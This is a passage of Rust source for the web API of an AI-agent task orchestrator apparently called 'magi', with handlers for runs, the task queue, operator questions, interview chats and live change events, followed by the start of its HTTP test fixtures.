1793 removed_count: removed.len(),
1794 removed,
1795 }))
1796}
1797
1798#[derive(Debug, Serialize)]
1800struct FoldView {
1801 run: String,
1802 removed: Vec<String>,
1804 removed_count: usize,
1805}
1806
1807async fn run_resume(
1826 State(ui): State<Arc<Ui>>,
1827 Path(id): Path<String>,
1828) -> ApiResult<(StatusCode, Json<RunSummary>)> {
1829 let (id, state) = {
1830 let ui = Arc::clone(&ui);
1831 blocking(move || {
1832 let id = resolve_run(&ui.runs, &id)?;
1833 let state = read_run(&ui.runs, &id)?;
1834 Ok((id, state))
1835 })
1836 .await?
1837 };
1838 if !state.status.resumable() {
1839 return Err(ApiError::conflict(format!(
1840 "run {} is `{}`, and only a stalled or blocked run can be resumed",
1841 state.short(),
1842 status_word(state.status)
1843 )));
1844 }
1845 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now()) {
1846 return Err(ApiError::conflict(format!(
1847 "the loop is running run {} right now; magi runs one competition at \
1848 a time so the agent quota is not spent twice over. Stop the loop \
1849 first.",
1850 crate::run::short_of(&work.run)
1851 )));
1852 }
1853 let _resume = ui.begin_resume(&id)?;
1854
1855 let queued = RunSummary::of(&state, !ui.questions.open_for(&id).is_empty());
1858 let run = id.clone();
1859 tokio::spawn(async move {
1860 let _resume = _resume;
1861 match crate::graph::Runner::resume(&run) {
1862 Ok(mut runner) => {
1863 if let Err(e) = runner.execute().await {
1864 tracing::warn!("resume of run {run} stopped: {e:#}");
1865 }
1866 }
1867 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
1870 }
1871 });
1872 Ok((StatusCode::ACCEPTED, Json(queued)))
1873}
1874
1875async fn run_report(
1876 State(ui): State<Arc<Ui>>,
1877 Path(id): Path<String>,
1878) -> ApiResult<impl IntoResponse> {
1879 let text = blocking(move || {
1880 let id = resolve_run(&ui.runs, &id)?;
1881 Ok(report::run(&read_run(&ui.runs, &id)?))
1885 })
1886 .await?;
1887 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
1888}
1889
1890#[derive(Debug, Serialize)]
1896struct TaskView {
1897 #[serde(flatten)]
1898 task: Task,
1899 source_label: String,
1900 status_str: &'static str,
1901 instruction_md: Vec<md::Node>,
1905}
1906
1907impl From<Task> for TaskView {
1908 fn from(task: Task) -> Self {
1909 Self {
1910 source_label: task.source.label(),
1911 status_str: task.status.as_str(),
1912 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
1913 task,
1914 }
1915 }
1916}
1917
1918#[derive(Debug, Default, Deserialize)]
1921#[serde(default)]
1922struct ReposQuery {
1923 refresh: u8,
1924}
1925
1926async fn repos_list(
1934 State(ui): State<Arc<Ui>>,
1935 Query(q): Query<ReposQuery>,
1936) -> ApiResult<Json<Vec<repos::Repo>>> {
1937 let refresh = q.refresh != 0;
1938 blocking(move || {
1939 let (cfg, _) = Config::discover(&ui.repo, None)?;
1940 Ok(Json(ui.repos_cache.list(
1941 &cfg.repos.roots,
1942 Duration::from_secs(cfg.repos.scan_ttl),
1943 refresh,
1944 )))
1945 })
1946 .await
1947}
1948
1949async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
1950 blocking(move || {
1951 Ok(Json(
1952 ui.queue.list().into_iter().map(TaskView::from).collect(),
1953 ))
1954 })
1955 .await
1956}
1957
1958#[derive(Debug, Default, Deserialize)]
1964#[serde(default)]
1965struct NewTask {
1966 instruction: String,
1967 title: Option<String>,
1968 repo: Option<PathBuf>,
1969 priority: Option<i32>,
1970}
1971
1972async fn queue_post(
1973 State(ui): State<Arc<Ui>>,
1974 body: std::result::Result<Json<NewTask>, JsonRejection>,
1975) -> ApiResult<impl IntoResponse> {
1976 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
1979 if body.instruction.trim().is_empty() {
1980 return Err(ApiError::bad_request(
1981 "instruction must not be blank: an empty task would burn a whole \
1982 competition on nothing",
1983 ));
1984 }
1985 let view = blocking(move || {
1986 let title = body
1987 .title
1988 .filter(|t| !t.trim().is_empty())
1989 .unwrap_or_else(|| title_from(&body.instruction, TITLE_MAX));
1990 let repo = body.repo.unwrap_or_else(|| ui.repo.clone());
1991 let mut task = Task::new(title, body.instruction, repo, Source::Human);
1992 task.priority = body.priority.unwrap_or(0);
1993 ui.queue.put(&mut task)?;
1994 Ok(TaskView::from(task))
1995 })
1996 .await?;
1997 Ok((StatusCode::CREATED, Json(view)))
1998}
1999
2000async fn queue_hold(
2001 State(ui): State<Arc<Ui>>,
2002 Path(id): Path<String>,
2003) -> ApiResult<Json<TaskView>> {
2004 mutate(ui, id, Task::hold).await
2005}
2006
2007async fn queue_release(
2008 State(ui): State<Arc<Ui>>,
2009 Path(id): Path<String>,
2010) -> ApiResult<Json<TaskView>> {
2011 mutate(ui, id, Task::release).await
2012}
2013
2014async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2022 blocking(move || {
2023 let id = resolve_task(&ui.queue, &id)?;
2024 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
2025 ui.queue
2026 .remove(&id, in_flight)
2027 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2028 Ok(StatusCode::NO_CONTENT)
2029 })
2030 .await
2031}
2032
2033async fn mutate(ui: Arc<Ui>, id: String, change: fn(&mut Task)) -> ApiResult<Json<TaskView>> {
2039 blocking(move || {
2040 let id = resolve_task(&ui.queue, &id)?;
2041 let _claim = ui.queue.claim(&id).map_err(|e| {
2046 ApiError::conflict(format!(
2047 "{e:#} - a daemon is running this task, so it cannot be \
2048 changed from here yet"
2049 ))
2050 })?;
2051 let mut task = ui.queue.get(&id)?;
2052 change(&mut task);
2053 ui.queue.put(&mut task)?;
2054 Ok(Json(TaskView::from(task)))
2055 })
2056 .await
2057}
2058
2059async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
2067 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
2068 tokio::spawn(async move {
2069 let mut ticker = tokio::time::interval(POLL);
2070 let mut last: Option<(u64, u64, u64, u64, u64)> = None;
2071 loop {
2072 ticker.tick().await;
2075 let state = Arc::clone(&ui);
2076 let revisions = tokio::task::spawn_blocking(move || {
2077 (
2078 state.queue.revision(),
2079 runs_revision(&state.runs),
2080 state.questions.revision(),
2081 state.chats.revision(),
2082 state.lock_loop().rev,
2086 )
2087 })
2088 .await;
2089 let Ok(revisions) = revisions else { break };
2090 if last == Some(revisions) {
2091 continue;
2092 }
2093 last = Some(revisions);
2094 let payload = serde_json::json!({
2095 "queue_rev": revisions.0,
2096 "runs_rev": revisions.1,
2097 "questions_rev": revisions.2,
2098 "chats_rev": revisions.3,
2099 "loop_rev": revisions.4,
2100 });
2101 let Ok(event) = Event::default().event("change").json_data(payload) else {
2103 break;
2104 };
2105 if tx.send(event).await.is_err() {
2106 break;
2107 }
2108 }
2109 });
2110 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
2111 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
2112}
2113
2114fn runs_revision(runs: &FsPath) -> u64 {
2121 use std::hash::{Hash as _, Hasher as _};
2122
2123 let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
2124 .into_iter()
2125 .flatten()
2126 .flatten()
2127 .filter_map(|e| {
2128 let path = e.path().join("run.json");
2129 let mtime = path
2130 .metadata()
2131 .ok()?
2132 .modified()
2133 .ok()?
2134 .duration_since(std::time::UNIX_EPOCH)
2135 .ok()?
2136 .as_millis() as u64;
2137 let id = e.file_name().to_string_lossy().into_owned();
2138 Some((id, mtime))
2139 })
2140 .collect();
2141
2142 if entries.is_empty() {
2143 return 0;
2144 }
2145
2146 entries.sort_unstable();
2147 let mut hasher = std::hash::DefaultHasher::new();
2148 for (id, mtime) in &entries {
2149 id.hash(&mut hasher);
2150 mtime.hash(&mut hasher);
2151 }
2152 let h = hasher.finish();
2153 if h == 0 { 1 } else { h }
2154}
2155
2156fn run_ids(runs: &FsPath) -> Vec<String> {
2162 let mut ids: Vec<String> = std::fs::read_dir(runs)
2163 .into_iter()
2164 .flatten()
2165 .flatten()
2166 .filter(|e| e.path().join("run.json").is_file())
2167 .map(|e| e.file_name().to_string_lossy().into_owned())
2168 .collect();
2169 ids.sort_unstable_by(|a, b| b.cmp(a));
2171 ids
2172}
2173
2174fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
2176 let path = runs.join(id).join("run.json");
2177 let body =
2178 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
2179 let state: RunState =
2180 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
2181 if state.schema != run::SCHEMA {
2182 anyhow::bail!(
2183 "run {} was written by a different magi (schema {}, this build speaks {})",
2184 state.id,
2185 state.schema,
2186 run::SCHEMA
2187 );
2188 }
2189 Ok(state)
2190}
2191
2192#[must_use]
2200pub fn runs_unreadable(runs: &FsPath) -> usize {
2201 run_ids(runs)
2202 .into_iter()
2203 .filter(|id| read_run(runs, id).is_err())
2204 .count()
2205}
2206
2207fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
2209 if runs.join(id).join("run.json").is_file() {
2210 return Ok(id.to_owned());
2211 }
2212 pick(run_ids(runs), id, "run")
2213}
2214
2215fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
2217 if queue.path_of(id).is_file() {
2218 return Ok(id.to_owned());
2219 }
2220 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
2221}
2222
2223#[derive(Debug, Serialize)]
2234struct QuestionView {
2235 #[serde(flatten)]
2236 question: Question,
2237 detail_md: Vec<md::Node>,
2238}
2239
2240impl From<Question> for QuestionView {
2241 fn from(question: Question) -> Self {
2242 let base = md::ImageBase::QuestionPanel {
2243 id: question.id.clone(),
2244 };
2245 Self {
2246 detail_md: md::to_nodes(&question.detail, &base),
2247 question,
2248 }
2249 }
2250}
2251
2252async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
2258 blocking(move || {
2259 Ok(Json(
2260 ui.questions
2261 .list()
2262 .into_iter()
2263 .map(QuestionView::from)
2264 .collect(),
2265 ))
2266 })
2267 .await
2268}
2269
2270#[derive(Debug, Default, Deserialize)]
2276#[serde(default, deny_unknown_fields)]
2277struct NewAnswer {
2278 choice: Option<String>,
2279 text: Option<String>,
2280}
2281
2282async fn question_answer(
2283 State(ui): State<Arc<Ui>>,
2284 Path(id): Path<String>,
2285 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
2286) -> ApiResult<Json<QuestionView>> {
2287 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2288 let answer = match (body.choice, body.text) {
2289 (Some(c), None) => Answer::Choice(c),
2290 (None, Some(t)) => Answer::Text(t),
2291 (Some(_), Some(_)) => {
2292 return Err(ApiError::bad_request(
2293 "send either `choice` or `text`, not both",
2294 ));
2295 }
2296 (None, None) => {
2297 return Err(ApiError::bad_request("send a `choice` or a `text`"));
2298 }
2299 };
2300
2301 blocking(move || {
2302 let id = resolve_question(&ui.questions, &id)?;
2303 let mut q = ui
2304 .questions
2305 .get(&id)
2306 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
2307 if !q.status.open() {
2308 return Err(ApiError::conflict(format!(
2312 "question {} is already {}",
2313 q.short(),
2314 q.status.as_str()
2315 )));
2316 }
2317 q.answer(answer).map_err(ApiError::bad_request_from)?;
2321 ui.questions.put(&mut q)?;
2322 Ok(Json(QuestionView::from(q)))
2323 })
2324 .await
2325}
2326
2327fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
2329 if store.path_of(id).is_file() {
2330 return Ok(id.to_owned());
2331 }
2332 pick(
2333 store.list().into_iter().map(|q| q.id).collect(),
2334 id,
2335 "question",
2336 )
2337}
2338
2339async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
2354 blocking(move || {
2355 let id = resolve_question(&ui.questions, &id)?;
2356 let Some(html) = ui.questions.panel_html(&id) else {
2357 return Err(ApiError::not_found(format!("question {id} has no panel")));
2358 };
2359 Ok(panel_response(
2360 "text/html; charset=utf-8",
2361 false,
2362 html.into_bytes(),
2363 ))
2364 })
2365 .await
2366}
2367
2368async fn question_asset(
2396 State(ui): State<Arc<Ui>>,
2397 Path((id, name)): Path<(String, String)>,
2398) -> ApiResult<Response> {
2399 if !crate::ask::valid_asset_name(&name) {
2402 return Err(ApiError::bad_request(format!(
2403 "`{name}` is not a usable asset name"
2404 )));
2405 }
2406 blocking(move || {
2407 let id = resolve_question(&ui.questions, &id)?;
2408 let asset = ui
2409 .questions
2410 .panel_asset(&id, &name)
2411 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
2412 let Some(bytes) = asset else {
2413 return Err(ApiError::not_found(format!(
2414 "question {id} has no asset `{name}`"
2415 )));
2416 };
2417 Ok(panel_response(
2418 asset_content_type(&name),
2419 is_svg(&name),
2420 bytes,
2421 ))
2422 })
2423 .await
2424}
2425
2426fn asset_content_type(name: &str) -> &'static str {
2439 match extension(name).as_deref() {
2440 Some("png") => "image/png",
2441 Some("jpg" | "jpeg") => "image/jpeg",
2442 Some("gif") => "image/gif",
2443 Some("webp") => "image/webp",
2444 Some("svg") => "image/svg+xml",
2445 Some("css") => "text/css; charset=utf-8",
2446 Some("txt") => "text/plain; charset=utf-8",
2447 _ => "application/octet-stream",
2448 }
2449}
2450
2451fn is_svg(name: &str) -> bool {
2454 extension(name).as_deref() == Some("svg")
2455}
2456
2457fn extension(name: &str) -> Option<String> {
2459 name.rsplit_once('.')
2460 .map(|(_, ext)| ext.to_ascii_lowercase())
2461}
2462
2463fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
2480 let mut res = (
2481 [
2482 (header::CONTENT_TYPE, content_type),
2483 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
2484 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
2485 (header::REFERRER_POLICY, "no-referrer"),
2486 ],
2487 body,
2488 )
2489 .into_response();
2490 if download {
2491 res.headers_mut().insert(
2492 header::CONTENT_DISPOSITION,
2493 HeaderValue::from_static("attachment"),
2494 );
2495 }
2496 res
2497}
2498
2499#[derive(Debug, Serialize)]
2508struct ChatView {
2509 #[serde(flatten)]
2510 chat: Chat,
2511 turn_bodies_md: Vec<Vec<md::Node>>,
2512 draft_md: Option<Vec<md::Node>>,
2513}
2514
2515impl From<Chat> for ChatView {
2516 fn from(chat: Chat) -> Self {
2517 let turn_bodies_md = chat
2518 .turns
2519 .iter()
2520 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
2521 .collect();
2522 let draft_md = chat
2523 .draft
2524 .as_deref()
2525 .map(|draft| md::to_nodes(draft, &md::ImageBase::None));
2526 Self {
2527 turn_bodies_md,
2528 draft_md,
2529 chat,
2530 }
2531 }
2532}
2533
2534async fn chats_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<ChatView>>> {
2542 blocking(move || {
2543 Ok(Json(
2544 ui.chats.list().into_iter().map(ChatView::from).collect(),
2545 ))
2546 })
2547 .await
2548}
2549
2550async fn chat_detail(
2551 State(ui): State<Arc<Ui>>,
2552 Path(id): Path<String>,
2553) -> ApiResult<Json<ChatView>> {
2554 blocking(move || {
2555 let id = resolve_chat(&ui.chats, &id)?;
2556 Ok(Json(ChatView::from(ui.chats.get(&id)?)))
2557 })
2558 .await
2559}
2560
2561#[derive(Debug, Default, Deserialize)]
2572#[serde(default)]
2573struct NewChat {
2574 idea: String,
2575 agent: Option<String>,
2576 repo: Option<PathBuf>,
2577 from: Option<String>,
2578}
2579
2580async fn chat_post(
2589 State(ui): State<Arc<Ui>>,
2590 body: std::result::Result<Json<NewChat>, JsonRejection>,
2591) -> ApiResult<impl IntoResponse> {
2592 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2593 if body.idea.trim().is_empty() {
2594 return Err(ApiError::bad_request(
2595 "an interview needs something to interview about",
2596 ));
2597 }
2598
2599 let from = {
2603 let ui = Arc::clone(&ui);
2604 let from_id = body.from.clone();
2605 blocking(move || match from_id {
2606 None => Ok(None),
2607 Some(id) => {
2608 let resolved = resolve_chat(&ui.chats, &id)?;
2609 Ok(Some(ui.chats.get(&resolved)?))
2610 }
2611 })
2612 .await?
2613 };
2614
2615 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
2619 let cfg = config_for(&repo).await?;
2620 let chat = chat::start(
2621 &ui.chats,
2622 &cfg,
2623 repo,
2624 &body.idea,
2625 body.agent.as_deref(),
2626 from.as_ref(),
2627 )
2628 .await
2629 .map_err(ApiError::from)?;
2630 Ok((StatusCode::CREATED, Json(ChatView::from(chat))))
2631}
2632
2633#[derive(Debug, Default, Deserialize)]
2635#[serde(default, deny_unknown_fields)]
2636struct NewTurn {
2637 text: String,
2638}
2639
2640async fn chat_say(
2666 State(ui): State<Arc<Ui>>,
2667 Path(id): Path<String>,
2668 body: std::result::Result<Json<NewTurn>, JsonRejection>,
2669) -> ApiResult<(StatusCode, Json<ChatView>)> {
2670 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2671 if body.text.trim().is_empty() {
2672 return Err(ApiError::bad_request("say something"));
2673 }
2674
2675 let id = {
2676 let ui = Arc::clone(&ui);
2677 let asked = id.clone();
2678 blocking(move || resolve_chat(&ui.chats, &asked)).await?
2679 };
2680 let _turn = ui.begin_turn(&id)?;
2684
2685 let (chat, cfg) = {
2686 let ui = Arc::clone(&ui);
2687 let id = id.clone();
2688 blocking(move || {
2689 let chat = ui.chats.get(&id)?;
2690 let (cfg, _) = Config::discover(&chat.repo, None)?;
2691 Ok((chat, cfg))
2692 })
2693 .await?
2694 };
2695
2696 let chats = ui.chats.clone();
2711 let text = {
2712 let mut chat = chat.clone();
2713 let chats = chats.clone();
2714 let said = body.text.clone();
2715 blocking(move || Ok(chat::record(&mut chat, &chats, &said)?)).await?
2716 };
2717 let mut chat = {
2720 let ui = Arc::clone(&ui);
2721 let id = id.clone();
2722 blocking(move || Ok(ui.chats.get(&id)?)).await?
2723 };
2724 let queued = chat.clone();
2725 tokio::spawn(async move {
2726 let _turn = _turn;
2727 if let Err(e) = chat::respond(&mut chat, &chats, &cfg, &text).await {
2728 tracing::warn!("chat {id} turn failed: {e:#}");
2731 }
2732 });
2733
2734 Ok((StatusCode::ACCEPTED, Json(ChatView::from(queued))))
2738}
2739
2740#[derive(Debug, Default, Deserialize)]
2742#[serde(default, deny_unknown_fields)]
2743struct FileDraft {
2744 priority: i32,
2745}
2746
2747async fn chat_file(
2754 State(ui): State<Arc<Ui>>,
2755 Path(id): Path<String>,
2756 body: std::result::Result<Json<FileDraft>, JsonRejection>,
2757) -> ApiResult<Json<serde_json::Value>> {
2758 let body = match body {
2763 Ok(Json(body)) => body,
2764 Err(JsonRejection::MissingJsonContentType(_)) => FileDraft::default(),
2765 Err(e) => return Err(ApiError::bad_request(e.body_text())),
2766 };
2767
2768 blocking(move || {
2769 let id = resolve_chat(&ui.chats, &id)?;
2770 let mut chat = ui.chats.get(&id)?;
2771 if let Err(problems) = chat::draft_problems(&chat) {
2776 return Err(ApiError::bad_request_with(
2777 "the draft is not fileable yet",
2778 problems,
2779 ));
2780 }
2781 let task = chat::file_draft(&mut chat, &ui.chats, &ui.queue, body.priority)?;
2782 Ok(Json(serde_json::json!({ "task": task })))
2783 })
2784 .await
2785}
2786
2787fn resolve_chat(store: &Chats, id: &str) -> ApiResult<String> {
2789 pick(store.list().into_iter().map(|c| c.id).collect(), id, "chat")
2790}
2791
2792async fn config_for(repo: &FsPath) -> ApiResult<Config> {
2800 let repo = repo.to_path_buf();
2801 blocking(move || {
2802 let (cfg, _) = Config::discover(&repo, None)?;
2803 Ok(cfg)
2804 })
2805 .await
2806}
2807
2808fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
2814 let mut hits = ids
2815 .into_iter()
2816 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
2817 match (hits.next(), hits.next()) {
2818 (Some(one), None) => Ok(one),
2819 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
2820 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
2821 "`{prefix}` matches more than one {what}, including {a} and {b}"
2822 ))),
2823 }
2824}
2825
2826#[cfg(test)]
2827mod tests {
2828 use pretty_assertions::assert_eq;
2829 use serde_json::Value;
2830 use tempfile::TempDir;
2831 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
2832
2833 use super::*;
2834 use crate::config::Config;
2835 use crate::queue::TaskStatus;
2836
2837 struct Fixture {
2843 home: TempDir,
2844 addr: SocketAddr,
2845 }
2846
2847 impl Fixture {
2848 async fn start() -> Self {
2849 Self::with_loop(launch_idle).await
2850 }
2851
2852 async fn with_loop(launch: Launch) -> Self {
2854 let home = TempDir::new().expect("temp home");
2855 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch).await;
2856 Self { home, addr }
2857 }
2858
2859 async fn with_repo(repo: PathBuf) -> Self {
2863 let home = TempDir::new().expect("temp home");
2864 let addr = Self::serve(home.path(), repo, launch_idle).await;
2865 Self { home, addr }
2866 }
2867
2868 async fn serve(home: &FsPath, repo: PathBuf, launch: Launch) -> SocketAddr {
2869 let queue = Queue::at(home.join("queue"));
2870 let runs = home.join("runs");
2871 std::fs::create_dir_all(&runs).expect("runs dir");
2872 let ui = Ui::new(
2873 queue,
2874 Questions::at(home.join("questions")),
2875 Chats::at(home.join("chats")),
2876 runs,
2877 home.to_path_buf(),
2878 repo,
2879 )
2880 .with_launch(launch);
2881 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
2882 .await
2883 .expect("bind loopback");
2884 let addr = listener.local_addr().expect("local addr");
2885 tokio::spawn(async move {
2886 let _ = axum::serve(listener, ui.router()).await;
2887 });
2888 addr
2889 }
2890
2891 fn queue(&self) -> Queue {
2892 Queue::at(self.home.path().join("queue"))
2893 }
2894
2895 fn questions(&self) -> Questions {
2896 Questions::at(self.home.path().join("questions"))
2897 }
2898
2899 fn chats(&self) -> Chats {
2900 Chats::at(self.home.path().join("chats"))
2901 }
2902
2903 fn runs(&self) -> PathBuf {
2904 self.home.path().join("runs")
2905 }
2906
2907 async fn get(&self, path: &str) -> Res {
2908 request(self.addr, "GET", path, None).await
2909 }
2910
2911 async fn head(&self, path: &str) -> Res {
2916 request(self.addr, "HEAD", path, None).await
2917 }
2918
2919 async fn post(&self, path: &str, body: Option<&str>) -> Res {
2920 request(self.addr, "POST", path, body).await
2921 }
2922
2923 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
2924 request_with(self.addr, "GET", path, None, extra).await
2925 }
2926
2927 async fn delete(&self, path: &str) -> Res {
2928 request(self.addr, "DELETE", path, None).await
2929 }
2930 }
2931
2932 struct Res {
2933 status: u16,
2934 headers: String,
2935 head: String,
2940 body: String,
2941 bytes: Vec<u8>,
2945 }
2946
2947 impl Res {
2948 fn json(&self) -> Value {
2949 serde_json::from_str(&self.body)
2950 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
2951 }
2952
2953 fn header(&self, name: &str) -> Option<&str> {
2955 self.head.lines().find_map(|line| {
2956 let (key, value) = line.split_once(':')?;
2957 key.trim()
2958 .eq_ignore_ascii_case(name)
2959 .then(|| value.trim_start().trim_end_matches('\r'))
2960 })
2961 }
2962 }
2963
2964 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
2967 request_with(addr, method, path, body, &[]).await
2968 }
2969
2970 async fn request_with(
2974 addr: SocketAddr,
2975 method: &str,
2976 path: &str,
2977 body: Option<&str>,
2978 extra: &[(&str, &str)],
2979 ) -> Res {
2980 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
2981 for (name, value) in extra {
2982 head.push_str(&format!("{name}: {value}\r\n"));
2983 }
2984 if let Some(body) = body {
2985 head.push_str("Content-Type: application/json\r\n");
2986 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
2987 }
2988 head.push_str("\r\n");
2989 if let Some(body) = body {
2990 head.push_str(body);
2991 }
2992 let mut socket = tokio::net::TcpStream::connect(addr)
2993 .await
2994 .expect("connect to the test server");
2995 socket
2996 .write_all(head.as_bytes())
2997 .await
2998 .expect("write request");
2999 let mut raw = Vec::new();
3000 socket.read_to_end(&mut raw).await.expect("read response");
3001 let split = raw
3004 .windows(4)
3005 .position(|w| w == b"\r\n\r\n")
3006 .expect("a header block");
3007 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
3008 let bytes = raw[split + 4..].to_vec();
3009 let status = head
3010 .lines()
3011 .next()
3012 .and_then(|line| line.split_whitespace().nth(1))
3013 .and_then(|code| code.parse().ok())
3014 .expect("a status line");
3015 Res {
3016 status,
3017 headers: head.to_lowercase(),
3018 head,
3019 body: String::from_utf8_lossy(&bytes).into_owned(),
3020 bytes,
3021 }
3022 }
3023
3024 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
3026 let mut state = RunState::new(
3027 PathBuf::from("/repo/magi"),
3028 "main".to_owned(),
3029 "0123456789abcdef".to_owned(),
3030 "Add a web UI\n\nMobile first.".to_owned(),
3031 Config::default(),
3032 );
3033 state.id = id.to_owned();
3034 state.status = status;
3035 let dir = runs.join(id);
3036 std::fs::create_dir_all(&dir).expect("run dir");
3037 std::fs::write(
3038 dir.join("run.json"),
3039 serde_json::to_string_pretty(&state).expect("serialize run"),
3040 )
3041 .expect("write run.json");
3042 }
3043
3044 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
3045 let body = serde_json::json!({
3046 "schema": 1,
3047 "pid": 4242,
3048 "started_at": Timestamp::now().to_string(),
3049 "updated_at": updated_at.to_string(),
3050 "idle": false,
3051 "current": { "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" },
3052 "completed": 7,
3053 "polls": 143,
3054 });
3055 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
3056 }
3057
3058 fn launch_idle(
3068 _opts: daemon::Opts,
3069 stop: daemon::Stop,
3070 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3071 Box::pin(async move {
3072 while !stop.stopped() {
3073 tokio::time::sleep(Duration::from_millis(2)).await;
3074 }
3075 Ok(())
3076 })
3077 }
3078
3079 fn launch_broken(
3082 _opts: daemon::Opts,
3083 _stop: daemon::Stop,
3084 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3085 Box::pin(async {
3086 Err(anyhow::anyhow!(
3087 "publish the daemon status file: read-only file system"
3088 ))
3089 })
3090 }
3091
3092 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
3100 for _ in 0..200 {
3101 let view = fx.get("/api/loop").await.json();
3102 if want(&view) {
3103 return view;
3104 }
3105 tokio::time::sleep(Duration::from_millis(10)).await;
3106 }
3107 panic!(
3108 "the loop never settled: {}",
3109 fx.get("/api/loop").await.json()
3110 );
3111 }
3112
3113 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
3115 let store = fx.questions();
3116 let mut q = Question::new(
3117 "20260902-000000-beef".to_owned(),
3118 "implement".to_owned(),
3119 "impl-A".to_owned(),
3120 summary.to_owned(),
3121 "because it matters".to_owned(),
3122 choices.iter().map(|c| (*c).to_owned()).collect(),
3123 );
3124 store.put(&mut q).expect("put question");
3125 q.id
3126 }
3127
3128 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
3134 let store = fx.questions();
3135 let mut q = Question::new(
3136 "20260902-000000-beef".to_owned(),
3137 "land".to_owned(),
3138 "fix".to_owned(),
3139 "Merge this?".to_owned(),
3140 "the diff is in the panel".to_owned(),
3141 vec!["merge".to_owned(), "hold".to_owned()],
3142 );
3143 let staging = fx.home.path().join("staging");
3146 std::fs::create_dir_all(&staging).expect("staging dir");
3147 let sources: Vec<PathBuf> = assets
3148 .iter()
3149 .map(|(name, bytes)| {
3150 let path = staging.join(name);
3151 std::fs::write(&path, bytes).expect("write staged asset");
3152 path
3153 })
3154 .collect();
3155 store
3156 .put_panel(&mut q, html, &sources)
3157 .expect("write the panel");
3158 store.put(&mut q).expect("put question");
3159 q.id
3160 }
3161
3162 fn interview(fx: &Fixture, id: &str, status: &str, draft: Option<&str>) -> String {
3170 let store = fx.chats();
3171 std::fs::create_dir_all(store.root()).expect("chats dir");
3172 let seat = serde_json::to_value(crate::agent::SeatState::new("plan", "sonnet", 7))
3173 .expect("serialize a seat");
3174 let body = serde_json::json!({
3175 "schema": 1,
3176 "id": id,
3177 "repo": "/repo/magi",
3178 "agent": "sonnet",
3179 "status": status,
3180 "turns": [
3181 { "who": "operator", "body": "rework the config loader",
3182 "at": Timestamp::now().to_string() },
3183 { "who": "agent", "body": "Which part is hurting?",
3184 "at": Timestamp::now().to_string() },
3185 ],
3186 "draft": draft,
3187 "task": Value::Null,
3188 "created_at": Timestamp::now().to_string(),
3189 "updated_at": Timestamp::now().to_string(),
3190 "seat": seat,
3191 });
3192 std::fs::write(store.path_of(id), body.to_string()).expect("write the chat");
3193 store.get(id).expect("the seeded chat has to be readable");
3196 id.to_owned()
3197 }
3198
3199 fn good_draft() -> String {
3202 "# Rework the config loader\n\n\
3203 ## Why\n\n\
3204 It re-reads `magi.toml` on every lookup, so a run that asks for the \
3205 roster four hundred times pays four hundred parses of the same file.\n\n\
3206 ## What\n\n\
3207 Load the layers once when the run starts and hand the merged value \
3208 around. Nothing about the file format changes.\n\n\
3209 ## Acceptance criteria\n\n\
